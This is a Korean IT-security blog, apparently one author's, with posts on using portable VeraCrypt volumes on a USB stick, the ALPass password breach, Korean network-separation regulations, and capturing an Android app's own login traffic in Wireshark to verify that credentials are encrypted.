이렇게 설치된 Portable VeraCrypt는 VeraCrypt가 설치되지 않은 PC에서 암호화 된 볼륨을 사용할 수 있게 해준다.

USB 메모리에 VeraCrypt 암호 볼륨 생성하기

USB 메모리에 암호볼륨 생성은 USB 메모리에 설치된 Portable VeraCrypt를 이용해 생성하면 된다. 몇 단계만 소개한다.

먼저 VeraCrypt를 실행하고 "Create Volume" 버튼을 클릭하면 "VeraCrypt Volume Creation Wizard"가 실행된다. 

"Create an encrypted file container"를 선택한다. USB 메모리 전체를 암호화하려면 "Encrypt a non-system partition/drive"를 선택하면 되지만 그렇게 되면 VeraCrypt가 설치되지 않은 PC에서 사용하기 위해서는 매번 VeraCrypt를 설치해야 하는 불편함이 있고 이 포스트의 목적인 "편리한 사용"이 불가능하다.

이후 단계는 일반적인 사용법과 동일하다. 다만 볼륨 생성 시 USB 메모리를 지정하고 생성할 볼륨의 파일명을 입력해야 한다.

위 화면은 USB 메모리인 G: 드라이브에 MYUSB 라는 폴더를 만들고 그 아래에 MYUSB1 이라는 볼륨을 생성하겠다는 의미다. MYUSB 폴더는 미리 만들어 두어야 하며 MYUSB1 은 VeraCrypt가 알아서 만들어주는 볼륨파일이다. 

이후 암호옵션 등은 일반적인 사용법과 동일하다. 마지막 단계인 비밀번호 설정과 포맷까지 완료하면 된다.

이 단계까지 마치면 다음과 같이 두개의 폴더가 생성된다.

위 화면에서 MYUSB는 방금전에 생성한 MYUSB1 이라는 암호화된 볼륨이 생성되어 있는 폴더다. MYUSB 폴더에 들어가면 앞의 화면에서 볼륨명으로 지정한 MYUSB1이라는 16G Byte 크기의 파일이 존재한다.  VeraCrypt 폴더는 Portable VeraCrypt가 설치되어 있는 폴더로서 안에 들어가면 다음 단계의 .BAT 파일에서 명령행으로 실행할 VeraCrypt.exe 라는 실행파일이 존재한다.

그리고 그 아래의 두 .BAT 파일은 다음단계에서 생성할 MYUSB1 볼륨에 대한 마운트, 언마운트 배치파일이다. 

마운트, 언마운트 배치파일 만들기

Portable VeraCrypt 를 명령행에서 실행하여 USB 메모리의 MYUSB 폴더에 생성된 MYUSB1 볼륨을 마운트 하는 배치파일은 다음과 같다. 앞의 화면처럼 USB 메모리의 최상위 폴더에 .BAT 확장자로 만들어주면 된다.

암호볼륨을 마운트하는 배치파일암호볼륨을 마운트하는 배치파일

이 배치파일은 그다지 복잡하지 않은 몇 라인의 명령으로 구성되어 있다. 이 배치파일은 USB 메모리의 최상위 폴더에 위치 시키면 되며 탐색기를 이용해 실행하므로 CURPATH에 USB 메모리에 할당된 드라이브 명을 자동으로 가져오는 역할을 한다. (USB메모리가 인식되는 PC에 따라 경로명이 달라지므로 자동으로 인식해야 한다.)

그리고 마운트할 드라이브의 레터(Letter)를 사용자에게 입력받는다. 자동으로 비어있는 드라이브명을 인식하게 할 수도 있지만 원하는 드라이브 명을 입력받도록 했다.

다음은 마운트한 드라이브를 언마운트하는 배치파일이다.

암호볼륨을 언마운트하는 배치파일암호볼륨을 언마운트하는 배치파일

마찬가지로 언마운트할 드라이브 레터를 입력받도록 했다. 두 개 이상의 암호화 된 드라이브를 마운트해 사용할 경우 드라이브명의 지정은 필수다.

암호화 된 VeraCrypt 볼륨 마운트하기

배치파일을 편집하고 저장한 뒤 마운트 배치파일을 실행한다. 

위에서는 MYUSB16G-MT.BAT 파일이 마운트하는 배치파일이다. 실행하면 마운트할 때 지정할 드라이브 레터를 입력받는다. x 드라이브를 입력하고 <엔터> 키를 누르면 다음과 같이 암호 볼륨의 비밀번호를 입력하라는 VeraCrypt 창이 실행된다.

비밀번호를 입력하면 X: 드라이브가 생성되고 접근이 가능하다.

가장 아래에 X: 드라이브가 마운트된 것을 볼 수 있다. 이 X: 드라이브는 실제로는 USB 메모리인 G: 드라이브에 위치한 16G 바이트의 암호화 된 볼륨 파일이다.

이제 언마운트를 해보자.

USB 메모리의 최상위 폴더에 있는 MYUSB16G-UMT.BAT를 더블클릭해 실행한다.

언마운트 할 드라이브 레터를 입력한다. 위 화면에서는 X 다. 

X를 입력하고 <엔터> 키를 누르면 순식간에 X: 드라이브가 언마운트 되고 탐색기에서 사라진다. 안전하게 암호 볼륨이 닫힌 것이다.


여기까지다.!!

VeraCrypt를 이용해 편리하게 개인정보와 비밀정보를 보관하기 바란다. 

그리고 VeraCrypt를 이동식저장매체에 적용하면 다양한 정보를 백업하여 소산보관해야 하는 중소기업의 정보보호담당자들에게 매우 유용한 솔루션이 될 수 있다.


  • 지후대디 2017.12.29 15:26 신고

    IT 기술/보안에 대한 관심이 여전히 높으신 것 같습니다.
    전 요즘은 왜이리 애들과 놀러다니는 맛과 놀거리에만 관심이 높아지는지 ^^;;;

    • taeho Tae-Ho 2018.01.02 17:29 신고

      ㅎㅎ 별다른 취미가 없어서 그런가 봅니다~ ^^ 저희 아이들은 이제 다 컸다구 같이 놀러가자면 .. 그냥 집에 있겠다고 떼를 씁니다. ^^ 어디 한번 같이 가려면 온갖 아부를 다해야 합니다. -.-


오늘... 이메일 한통을 받았다. 발신자는 이스트소프트 였다.

무슨 메일이지?? 라는 생각을 하며 메일을 열어본 순간... 또 개인정보유출에 대한 사과와 비밀번호 변경을 요청하는 메일이었다. 정말 지겹도록 개인정보 유출사고는 끊이지 않는다. 혹시 내 정보도? 라는 생각이 들어 알툴즈 홈페이지를 방문하니 다음과 같은 창이 떴다.

한 때...즐겨 사용했던 알집, 알FTP, 알씨 등을 개발해 일반사용자들에게 무료로 배포해 온국민의 유틸리티에 대한 갈증을 해소해 준 꽤나 괜찮은 회사였다. 하지만 어느날인가 "알패스"라는 매우 위험한 툴을 만들어 배포하더니 결국 우려하던 사고가 터진 모양이다.

알패스란?

알패스라는 툴은 다수의 비밀번호를 기억하기 어렵다는 점에 착안해 다수의 웹사이트에 대한 비밀번호를 저장해 두고 해당 사이트에 접속할 때 비밀번호를 자동으로 입력하도록 해주는 매우 편리한 유틸리티 프로그램이다.

생기기는 이렇게 생겼다. (조금 옛날 버전이다.)

즉... 이용자가 등록한 많은 웹사이트의 사이트설명과 URL 그리고 아이디와 비밀번호를 모두 기억하고 있다가 해당 웹사이트의 로인 창이 실행되면 자동으로 ID와 비밀번호를 입력해주는 매우 편리하지만 비밀번호를 어딘가에 복호화 가능한 형태로 저장하고 있는 위험한 유틸리티다. (이 서비스는 지금도 하고 있다.)

"복호화 가능한 형태"라는 것은 일반적인 암호화 기술을 이용해 나중에 암호문 해독에 필요한 비밀키를 갖고 있는 사람이 암호문을 해독해 원문을 알아낼 수 있는 암호알고리즘을 말한다. 예를 들어 암복호화를 위한 암호키가 "1qaz2wsx3edc"라고 가정하고 "My name is taeho." 라는 원문을 암호화하면 다음과 같이 암호화 된 암호문이 나온다. 

"WVDT4UxwSqQ2vaGlgvZ6eXS8nxus5eHngu91Q4hK5Q90ah78kURLdJAg7u8Xxl6D2ryQJbAHGr6Wy7TxJU8O6Q=="

그리고 위의 암호문을 다시 "1qaz2wsx3edc"라는 암호키로 복호화하면 원문인 "My name is taeho." 가 출력된다.  이러한 암호시스템이 AES-128과 같은 대칭키 암호화 알고리즘이다. 여기에서 테스트해 볼 수 있다. 



다만 알패스는 암복호화에 사용되는 랜덤하게 생성한 암호키로 사이트의 비밀번호를 암호화하고 암호키를 다시 이용자의 비밀번호를 이용해 암호화해 암호화된 비밀번호와 함께 데이터베이스에 저장하는 방식으로 불법적인 공격을 통해 비밀번호가 유출되는 것을 막고 있는 것으로 알고 있었다. 즉 이용자의 비밀번호를 모르면 사이트의 비밀번호를 암호화할 때 사용하는 비밀키를 찾을 수 없도록 한 것이다.  

이렇듯 암호화를 통해 다수의 사이트에 입력해야하는 비밀번호를 저장하고 관리할 수 있게 해주는 유틸리티가 알패스다. 다만 이렇게 암호화 된 비밀번호는 이용자의 PC에 저장되는 것이 아니라 알패스의 데이터베이스 서버에 일괄 저장된다. 

뭔가 비슷한 보안 솔루션들이 떠오른다.

IT 보안 솔루션 중에 이렇게 서버 네트워크 장비에 엔지니어나 운영자가, 개발자가 로그인 할 때 비밀번호를 자동으로 입력해주는 솔루션이 있다. 수십 수백대의 서버를 관리하기 어려운 기업들의 가려운 곳을 긁어주는 솔루션이다. 

이런 솔루션들은 모두 비밀번호를 복호화 가능하게 저장한다. 당연히 여러 보안기술들을 적용해 비밀번호의 유출을 차단하고 있다고 도입을 망설이는 관리자들을 설득한다. 하지만 개인적으로 이런 솔루션은 결코 도입해서는 안된다고 생각된다. 기술적인 이유도 있지만 법적인 측면도 있다.

비밀번호의 일방향 암호화 의무

정보통신망법과 개인정보보호법 등의 정보보호관련 법규에서는 비밀번호에 대해서는 일방향 암호화를 의무화하고 있다. 즉 앞에서 설명한 것과 같이 해독 가능한 암호화를 법적으로 금지하고 있는 것이다. 비밀번호를 자동으로 입력해주는 모든 솔루션은 비밀번호를 어떤 방식으로든 복호화 가능한 알고리즘으로 암호화 하고 있다. 이는 법의 위반일 수 있다.

물론 여러 복잡한 방법을 이용해 암호키를 쉽게 알아내지 못하도록 하겠지만 결과적으로는 복호화가 가능한 양방향 암호 알고리즘을 이용해 저장하고 있음에는 변명의 여지가 없다.

알툴즈 개인정보 유출 여부 확인

알툴즈의 공지에는 알패스의 사이트목록과 사이트별 비밀번호의 유출여부를 확인할 수 있도록 하고 있다. 최대 13만명의 개인정보가 유출되었을 가능성이 있다. 물론 비밀번호를 주기적으로 변경했다면 걱정이 없겠지만 주기적으로 변경하는 사람이 알패스를 사용할 이유는 없지 않을까?

나의 경우에는 다행스럽게도 유출되지 않은 케이스에 해당됐다. 알툴즈에 가입했거나 가입한 뒤 알패스에 사이트와 비밀번호를 등록한 경험이 있는 사람이라면  http://www.altools.co.kr 에 방문해서 유출여부를 확인해보기 바란다.



 



개인정보를 취급하는 많은 기업과 공공기관들은 항상 망분리 이슈에 시달리게 됩니다. 하지만 망분리를 누가 왜 해야하는지를 정확하게 이해하고 있는 기업이나 공공기관도 있는 반면 정확하게 이해하고 있지 못한 기업이나 공공기관도 있습니다. 사실 조금만 관심을 갖고 법령을 찾아보면 되는데 특별히 보안에 관심이 있는 사람이 아니면 그냥 해야한다더라 정도로 이해하고 있는 경우가 많습니다. 그리고 정보보안기사나 ISMS인증심사원, PIMS 혹은 PIA 자격 시험을 준비한다면 관련 법령을 꼼꼼히 알고 있는게 좋습니다.


개인정보의 보호와 관련된 법률은 정보통신망 이용촉진 및 정보보호 등에 관한 법률(이하 정보통신망법)과 개인정보보호법이 대표적입니다. 그 중에서 망분리와 관련된 조항을 갖고 있는 것은 정보통신망법 입니다. 개인정보보호법과 하위 규정에는 명시적으로 망분리에 관한 조항은 존재하지 않습니다. 다만 "내부망"이 물리적 망분리, 접근 통제시스템 등에 의해 인터넷 구간에서의 접근이 통제 또는 차단되는 구간임을 명시하고 내부망과 인터넷 망에 개인정보를 저장할 때 암호화 필요성을 언급하고 있을 뿐입니다.

정보통신망법의 망분리 관련 조항

망분리는 정보통신망법에서 언급되는데... 사실 정보통신망법 본문조항에서는 직접적으로 언급되지 않습니다. 다만 제28조에서 개인정보보호를 위한 관리적·기술적 보호조치에 대해 다음과 같이 언급하고 있습니다.


제28조(개인정보의 보호조치) ① 정보통신서비스 제공자등이 개인정보를 처리할 때에는 개인정보의 분실·도난·유출·위조·변조 또는 훼손을 방지하고 개인정보의 안전성을 확보하기 위하여 대통령령으로 정하는 기준에 따라 다음 각 호의 기술적·관리적 조치를 하여야 한다.  <개정 2016.3.22.>

1. 개인정보를 안전하게 처리하기 위한 내부관리계획의 수립·시행

2. 개인정보에 대한 불법적인 접근을 차단하기 위한 침입차단시스템 등 접근 통제장치의 설치·운영

3. 접속기록의 위조·변조 방지를 위한 조치

4. 개인정보를 안전하게 저장·전송할 수 있는 암호화기술 등을 이용한 보안조치

5. 백신 소프트웨어의 설치·운영 등 컴퓨터바이러스에 의한 침해 방지조치

6. 그 밖에 개인정보의 안전성 확보를 위하여 필요한 보호조치

② 정보통신서비스 제공자등은 이용자의 개인정보를 처리하는 자를 최소한으로 제한하여야 한다.  <개정 2016.3.22.>

[전문개정 2008.6.13.]


대통령령으로 정하는 기술적·관리적 보호조치에 "망분리"에 대한 내용이 언급되어 있겠죠? 그럼 대통령령을 들여다 보겠습니다. 

대통령령 제27951호(2017.3.22) 정보통신망 이용촉진 및 정보보호 등에 관한 법률 시행령 제15조(개인정보보호 조치)입니다.


제15조(개인정보의 보호조치) ① 법 제28조제1항제1호에 따라 정보통신서비스 제공자등은 개인정보의 안전한 처리를 위하여 다음 각 호의 내용을 포함하는 내부관리계획을 수립·시행하여야 한다.  <개정 2016.9.22>

1. 개인정보 보호책임자의 지정 등 개인정보보호 조직의 구성·운영에 관한 사항

2. 정보통신서비스 제공자의 지휘·감독을 받아 이용자의 개인정보를 처리하는 자(이하 이 조에서 "개인정보취급자"라 한다)의 교육에 관한 사항

3. 제2항부터 제5항까지의 규정에 따른 보호조치를 이행하기 위하여 필요한 세부 사항

② 법 제28조제1항제2호에 따라 정보통신서비스 제공자등은 개인정보에 대한 불법적인 접근을 차단하기 위하여 다음 각 호의 조치를 하여야 한다. 다만, 제3호의 조치는 전년도 말 기준 직전 3개월간 그 개인정보가 저장·관리되고 있는 이용자 수가 일일평균 100만명 이상이거나 정보통신서비스 부문 전년도(법인인 경우에는 전 사업연도를 말한다) 매출액이 100억원 이상인 정보통신서비스 제공자등만 해당한다.  <개정 2012.8.17>

1. 개인정보를 처리할 수 있도록 체계적으로 구성한 데이터베이스시스템(이하 "개인정보처리시스템"이라 한다)에 대한 접근권한의 부여·변경·말소 등에 관한 기준의 수립·시행

2. 개인정보처리시스템에 대한 침입차단시스템 및 침입탐지시스템의 설치·운영

3. 개인정보처리시스템에 접속하는 개인정보취급자 컴퓨터 등에 대한 외부 인터넷망 차단

4. 비밀번호의 생성 방법 및 변경 주기 등의 기준 설정과 운영

5. 그 밖에 개인정보에 대한 접근통제를 위하여 필요한 조치

③ 법 제28조제1항제3호에 따라 정보통신서비스 제공자등은 접속기록의 위조·변조 방지를 위하여 다음 각 호의 조치를 하여야 한다.

1. 개인정보취급자가 개인정보처리시스템에 접속하여 개인정보를 처리한 경우 접속일시, 처리내역 등의 저장 및 이의 확인·감독

2. 개인정보처리시스템에 대한 접속기록을 별도 저장장치에 백업 보관

④ 법 제28조제1항제4호에 따라 정보통신서비스 제공자등은 개인정보가 안전하게 저장·전송될 수 있도록 다음 각 호의 보안조치를 하여야 한다.  <개정 2014.11.28, 2017.3.22>

1. 비밀번호의 일방향 암호화 저장

2. 주민등록번호, 계좌정보 및 바이오정보 등 방송통신위원회가 정하여 고시하는 정보의 암호화 저장

3. 정보통신망을 통하여 이용자의 개인정보 및 인증정보를 송신·수신하는 경우 보안서버 구축 등의 조치

4. 그 밖에 암호화 기술을 이용한 보안조치

⑤ 법 제28조제1항제5호에 따라 정보통신서비스 제공자등은 개인정보처리시스템 및 개인정보취급자가 개인정보 처리에 이용하는 정보기기에 컴퓨터바이러스, 스파이웨어 등 악성프로그램의 침투 여부를 항시 점검·치료할 수 있도록 백신소프트웨어를 설치하여야 하며, 이를 주기적으로 갱신·점검하여야 한다.

⑥ 방송통신위원회는 제1항부터 제5항까지의 규정에 따른 사항과 법 제28조제1항제6호에 따른 그 밖에 개인정보의 안전성 확보를 위하여 필요한 보호조치의 구체적인 기준을 정하여 고시하여야 한다.

[전문개정 2009.1.28.]


위에서 제②항 3호에서 "개인정보처리시스템에 접속하는 개인정보취급자 컴퓨터 등에 대한 외부 인터넷망 차단" 조치를 취할 것을 규정하고 있습니다. 이 조항이 바로 숱하게 많은 "망분리" 이슈를 만든 조항입니다. 그리고 제⑥항에서 상세한 보호조치의 내용을 방송통신위원회에서 정하여 고시하도록 규정하고 있습니다. 



그렇다면 해당 고시를 찾아봐야 합니다. 보다 상세한 망분리에 대한 언급이 있을테니까요. 그 고시는 바로 방송통신위원회고시 2015-3호(2015.5.19) 개인정보의 기술적·관리적 보호조치 기준 입니다. 이 고시의 제2조(정의)를 보면 정보통신망법에서의 망분리에 대한 정의가 명시되어 있습니다.


제2조(정의) 이 기준에서 사용하는 용어의 뜻은 다음과 같다.

1. "개인정보관리책임자"란 이용자의 개인정보보호 업무를 총괄하거나 업무처리를 최종 결정하는 임직원을 말한다.

2. "개인정보취급자"란 이용자의 개인정보를 수집, 보관, 처리, 이용, 제공, 관리 또는 파기 등의 업무를 하는 자를 말한다.

3. "내부관리계획"이라 함은 정보통신서비스 제공자등이 개인정보의 안전한 취급을 위하여 개인정보보호 조직의 구성, 개인정보취급자의 교육, 개인정보 보호조치 등을 규정한 계획을 말한다.

4. "개인정보처리시스템"이라 함은 개인정보를 처리할 수 있도록 체계적으로 구성한 데이터베이스시스템을 말한다.

5. "망분리"라 함은 외부 인터넷망을 통한 불법적인 접근과 내부정보 유출을 차단하기 위해 업무망과 외부 인터넷망을 분리하는 망 차단조치를 말한다.

6. "비밀번호"라 함은 이용자 및 개인정보취급자 등이 시스템 또는 정보통신망에 접속할 때 식별자와 함께 입력하여 정당한 접속 권한을 가진 자라는 것을 식별할 수 있도록 시스템에 전달해야 하는 고유의 문자열로서 타인에게 공개되지 않는 정보를 말한다.

7. "접속기록"이라 함은 이용자 또는 개인정보취급자 등이 개인정보처리시스템에 접속하여 수행한 업무 내역에 대하여 식별자, 접속일시, 접속지를 알 수 있는 정보, 수행업무 등 접속한 사실을 전자적으로 기록한 것을 말한다.

8. "바이오정보"라 함은 지문, 얼굴, 홍채, 정맥, 음성, 필적 등 개인을 식별할 수 있는 신체적 또는 행동적 특징에 관한 정보로서 그로부터 가공되거나 생성된 정보를 포함한다.

9. "P2P(Peer to Peer)"라 함은 정보통신망을 통해 서버의 도움 없이 개인과 개인이 직접 연결되어 파일을 공유하는 것을 말한다.

10. "공유설정"이라 함은 컴퓨터 소유자의 파일을 타인이 조회·변경·복사 등을 할 수 있도록 설정하는 것을 말한다.

11. "보안서버"라 함은 정보통신망에서 송·수신하는 정보를 암호화하여 전송하는 웹서버를 말한다.

12. "인증정보"라 함은 개인정보처리시스템 또는 정보통신망을 관리하는 시스템 등이 요구한 식별자의 신원을 검증하는데 사용되는 정보를 말한다.

13. "모바일 기기"란 스마트폰, 태블릿PC 등 무선망을 이용할 수 있는 휴대용 기기를 말한다.

14. "보조저장매체"란 이동형 하드디스크(HDD), USB메모리, CD (Compact Disk) 등 자료를 저장할 수 있는 매체로서 개인정보처리시스템 또는 개인용 컴퓨터 등과 쉽게 분리·접속할 수 있는 저장매체를 말한다.


간단하게 말에 개인정보처리시스템에 접속하는 업무망과 인터넷망을 분리하라는 것이죠. 하지만 이 정의만으로는 정확하게 무엇을 어떻게 하라는 것인지 조금 부족합니다. 조금 더 자세한 규정은 제4조(접근통제)에 명시되어 있습니다.


제4조(접근통제) ① 정보통신서비스 제공자등은 개인정보처리시스템에 대한 접근권한을 서비스 제공을 위하여 필요한 개인정보관리책임자 또는 개인정보취급자에게만 부여한다.

② 정보통신서비스 제공자등은 전보 또는 퇴직 등 인사이동이 발생하여 개인정보취급자가 변경되었을 경우 지체 없이 개인정보처리시스템의 접근권한을 변경 또는 말소한다.

③ 정보통신서비스 제공자등은 제1항 및 제2항에 의한 권한 부여, 변경 또는 말소에 대한 내역을 기록하고, 그 기록을 최소 5년간 보관한다.

④ 정보통신서비스 제공자등은 개인정보취급자가 정보통신망을 통해 외부에서 개인정보처리시스템에 접속이 필요한 경우에는 안전한 인증 수단을 적용하여야 한다.

⑤ 정보통신서비스 제공자등은 정보통신망을 통한 불법적인 접근 및 침해사고 방지를 위해 다음 각 호의 기능을 포함한 시스템을 설치·운영하여야 한다.

1. 개인정보처리시스템에 대한 접속 권한을 IP주소 등으로 제한하여 인가받지 않은 접근을 제한

2. 개인정보처리시스템에 접속한 IP주소 등을 재분석하여 불법적인 개인정보 유출 시도를 탐지

⑥ 전년도 말 기준 직전 3개월간 그 개인정보가 저장·관리되고 있는 이용자 수가 일일평균 100만명 이상이거나 정보통신서비스 부문 전년도(법인인 경우에는 전 사업연도를 말한다) 매출액이 100억원 이상인 정보통신서비스 제공자등은 개인정보처리시스템에서 개인정보를 다운로드 또는 파기할 수 있거나 개인정보처리시스템에 대한 접근권한을 설정할 수 있는 개인정보취급자의 컴퓨터 등을 물리적 또는 논리적으로 망분리 하여야 한다.

⑦ 정보통신서비스 제공자등은 이용자가 안전한 비밀번호를 이용할 수 있도록 비밀번호 작성규칙을 수립하고, 이행한다.

⑧ 정보통신서비스 제공자등은 개인정보취급자를 대상으로 다음 각 호의 사항을 포함하는 비밀번호 작성규칙을 수립하고, 이를 적용·운용하여야 한다.

1. 영문, 숫자, 특수문자 중 2종류 이상을 조합하여 최소 10자리 이상 또는 3종류 이상을 조합하여 최소 8자리 이상의 길이로 구성

2. 연속적인 숫자나 생일, 전화번호 등 추측하기 쉬운 개인정보 및 아이디와 비슷한 비밀번호는 사용하지 않는 것을 권고

3. 비밀번호에 유효기간을 설정하여 반기별 1회 이상 변경

⑨ 정보통신서비스 제공자등은 취급중인 개인정보가 인터넷 홈페이지, P2P, 공유설정 등을 통하여 열람권한이 없는 자에게 공개되거나 외부에 유출되지 않도록 개인정보처리시스템 및 개인정보취급자의 컴퓨터와 모바일 기기에 조치를 취하여야 한다.

⑩ 정보통신서비스 제공자등은 개인정보처리시스템에 대한 개인정보취급자의 접속이 필요한 시간 동안만 최대 접속시간 제한 등의 조치를 취하여야 한다.


제⑥항에서 망분리 의무 대상을 규정하고 있습니다. 이용자수 100만명(전년도 말 기준 직전 3개월간 일일평균)이거나 정보통신서비스 부문 매출액 100억원 이상인 정보통신서비스 제공자가 대상입니다. 그리고 대상 기관(기업)의 개인정보처리시스템에서 개인정보를 다운로드 또는 파기할 수 있거나 접근권한을 설정할 수 있는 개인정보취급자의 컴퓨터가 망분리 대상임을 확실하게 규정하고 있습니다. 또한 망분리의 방법은 물리적 또는 논리적이라고 규정하고 있습니다.


하지만 아쉽게도 물리적 망분리와 논리적 망분리에 대한 상세한 설명은 없습니다. 알아서 하라는 것일까요? 맞습니다. 알아서 해야합니다. 하지만 주입식 교육에 찌든 대한민국의 어른들은 알아서 하라고 하면 참 힘들어 하고 자신의 생각과 다르게 망분리를 수행하면 싸웁니다.  ^^ 그래서 한국인터넷진흥원에서는 "개인정보의 기술적·관리적 보호조치 기준 해설서"를 만들어서 배포하고 있습니다. 참 친절하죠? ^^ 그 해설서에서는 망분리에 대해 다음과 같이 해설해주고 있습니다.


망분리망분리


이 이상의 해석은 스스로 알아서 하시길 바랍니다. ^^



  • 베짱이 2017.07.20 08:35 신고

    랜섬웨어 등의 보안이슈로 금융권에서는 망분리를 하더군요.

    • taeho Tae-Ho 2017.07.20 11:17 신고

      네.. 금융권은 비교적 철저하게 망분리를 하는 편인데... 그래도 이리저리 구멍은 있더라구요. ^^ 찾기가 어려워서 그렇지..

  • 나롱이★ 2017.07.23 01:19 신고

    오잉? 혹시 제 페친은 아니시져~?ㅎㅎ 글 잘읽고 갑니다.^^

    • taeho Tae-Ho 2017.07.23 13:27 신고

      ㅎㅎ첨 뵙는 듯 한데... 혹시 안면이 있는 분일지도.. 그리구.. 어쩜 저랑 비슷한 의도의 글을.. ^^ 저보다 먼저 쓰신 듯 하네요.

    • 나롱이★ 2017.07.23 13:49 신고

      아아 정보보안쪽 페친으로 김태호라는 분이 있어서 헷깔렸네요.ㅎㅎ 업무보다가 가끔 궁금한게 생각나면 정리하곤 합니다.^^

    • taeho Tae-Ho 2017.07.23 14:50 신고

      ㅎㅎ 음... 페이스북 주소가 어찌되시는지요?? 혹시..

    • 2017.07.23 14:54

      비밀댓글입니다

    • taeho Tae-Ho 2017.07.24 10:15 신고

      ㅎㅎ 정말 동명이인이네요.. ^^ 페북 구경 잘했습니다~

    • 나롱이★ 2017.07.24 10:16 신고

      아아 넵!!ㅎㅎㅎㅎ 즐거운 하루 되시구요 앞으로 종종 들릴께요.^^ 제 블로그내에 링크는 걸어놨습니다.ㅎ



일을 하다보면 이따금씩 패킷을 캡쳐하고 내용을 확인해야할 때가 있습니다. 가장 대표적인 경우가 로그인 페이지 및 개인정보 입력/수정 등의 페이지가 암호화 통신을 하는지 확인해야할 때 입니다. 

웹브라우저로 확인할 때는 HTTPS 등 암호화 통신 프로토콜이 적용되어 있는지만 봐도 암호화 전송 여부를 알 수 있지만 모바일 앱, 특히나 모바일 웹 페이지가 아닌 바이너리로 개발되어 있을 때는 암호화 통신 여부를 쉽게 확인하기가 어렵습니다.  결국 모바일 앱의 통신 패킷을 캡쳐하여 .pcap 파일로 저장한 뒤 PC로 불러오고 와이어샤크 등의 패킷 분석 도구로 패킷을 열어봐야 합니다.


그 과정을 포스팅 합니다.


안드로이드에서 실행되는 앱의 통신 패킷 캡처하기


사례는 모바일 웹으로 들겠습니다. 실제로는 모바일 앱이나 웹 모두 관계 없습니다. 앱을 실행시켜 로그인 창까지 열어 놓습니다.



안드로이드의 경우 홈버튼을 눌러 홈으로 간 뒤 tPacketCapture와 같은 안드로이드 용 패킷 스니핑 앱을 실행시킵니다. 이 앱을 먼저 설치하고 실행시켜 두어도 무방합니다. tPacketCapture의 경우 루팅없이 동작하는 앱입니다.



tPacketCapture의 경우 실행 후 MAIN 탭으로 이동하면 아래 화면과 같이 CAPTURE 버튼이 보입니다. CAPTURE 버튼을 누르면 패킷스니핑이 시작되고 캡쳐된 패킷은 .pcap 파일로 저장되기 시작합니다.



CAPTURE 버튼이 RUNNING 버튼으로 바뀌고 Current File: 항목에 패킷이 캡쳐되어 저장되는 파일이 보입니다. 이 상태에서 이전에 실행해 둔 앱의 로그인 화면으로 갑니다. 작업관리자를 이용해도 되고 앱 전환 버튼을 눌러 이동해도 됩니다.



로그인 화면에서 아이디와 비밀번호를 입력하고 로그인을 합니다.



제가 즐겨 들어가는 뽐뿌라는 커뮤니티의 경우 로그인을 완료하면 아래 화면처럼 초기화면이 보입니다. 이 상태가 되면 tPacketCapture 앱에서 로그인 시 전송된 아이디와 패스워드가 캡쳐되었을 겁니다. 암호화가 되었다면 패킷을 열어봐도 아이디와 패스워드가 보이지 않을 것이고 암호화가 되지 않았다면 아이디와 비밀번호가 그대로 노출되어 보일 것입니다.



이제 tPacketCapture에서 스니핑을 중단해야 합니다. 아래 화면처럼 화면 상단을 쓸어내려 알림창을 열고 적색 상자에 보이는 tPacketCapture 활성화 이벤트를 터치합니다.



다음에 나타나는 tPacketCapture 창에서 "연결 끊기"를 선택합니다.



tPacketCapture로 전환하여 FILE LIST 탭으로 이동하면 패킷이 저장된 .pcap 파일이 보입니다. 약 304KB의 패킷이 캡쳐되었습니다. 디렉토리를 확인하여 위의 파일을 구들드라이브, 네이버 클라우드 혹은 USB연결 등을 통해 PC로 이동시킵니다.



PC에서 패킷 내용 확인하기


PC에서 Wireshark(와이어샤크)를 설치하고 실행합니다. 와이어샤크는 오픈소스 패킷 스니핑 유틸리티입니다. 포터블버전도 있습니다만 Winpcap 드라이버를 별도로 설치해야 하는 불편함이 있습니다.

어쨌든 와이어샤크를 설치하고 실행한 뒤 아래 화면과 같이 안드로이드에서 PC로 옮긴 .pcap 파일을 엽니다.



.pcap 파일을 열면 자동으로 아래 화면과 같이 내용을 분석해 보기 쉽게(?) 표시해 줍니다.  이제 앞에서 입력한 아이디와 비밀번호를 찾아봐야겠죠 ? 아래에 보면 No. 에 표시된 각 번호가 하나의 패킷이라고 생각하면 됩니다. 잠시 통신을 했을 뿐인데도 패킷의 갯수는 수백개가 됩니다. 각각의 패킷 번호를 클릭하여 화면 맨 아래의 16진수와 아스키코드가 보이는 부분을 확인하는 것은 매우 힘들죠. 그래서 검색 기능을 이용해야 합니다.



검색은 대부분의 윈도 애플리케이션이 그렇 듯 Ctrl + F 를 누르면 됩니다. Ctrl + F 를 누르면 아래 화면의 적색 상자가 표시됩니다. 각 옵션을 아래와 같이 선택합니다. 그리고 "Find" 버튼 옆의 작은 텍스트 상자, 아래 화면에서는 초록색으로 표시된 상자에 찾고자 하는 문자열을 입력합니다. 먼저 앞에서 로그인 창에서 입력한 ID 혹은 password를 입력하고 "Find" 버튼을 눌러봅니다.



Find 버튼을 누르면 현재 열고 있는 .pcap 파일의 패킷에서 문자열 기준으로 검색한 뒤 발견된 곳으로 이동해 줍니다. 만약 찾을 수 없다면 위 화면의 맨 하단 적색상자와 같이 "No packet contained that string in its converted data." 라는 메시지를 보여줍니다. 즉 plain text 인 id 혹은 password 가 cipher text로 암호화되었기 때문에 찾지 못하는 것입니다.


암호화 하지 않고 전송하는 경우 노출되는 id와 password


만약 로그인 페이지나 개인정보를 수정하는 페이지에서 id , password 와 기타 개인정보를 입력한 뒤 로그인 혹은 저장 버튼을 눌렀을 때 아래와 같이 id, password 와 개인정보가 보인다면 암호화하지 않고 네트워크를 통해 서버로 전송하는 것입니다.


아래 창의 적색 상자에 암호화 되지 않은 id, password가 그대로 노출되어 있습니다.



이런 웹사이트는 접속 시 매우 주의를 요합니다. PC가 있는 네트워크의 다른 컴퓨터나 웹 서버가 있는 네트워크의 다른 컴퓨터가 해킹되었을 때 id와 password는 물론 수정되는 개인정보 등을 해커가 모두 가로챌 수 있기 때문입니다.



  • 2018.11.25 07:31

    비밀댓글입니다

    • taeho Tae-Ho 2018.11.25 10:10 신고

      앱이 1. ssl/tls 암호화 통신이 되어있지 않고, 2. 상품의 정보를 웹으로 보여주고 결재하는 구조라면 가능할 수도 있지만 그렇게 해도 상품을 보내줄지는 의문입니다.


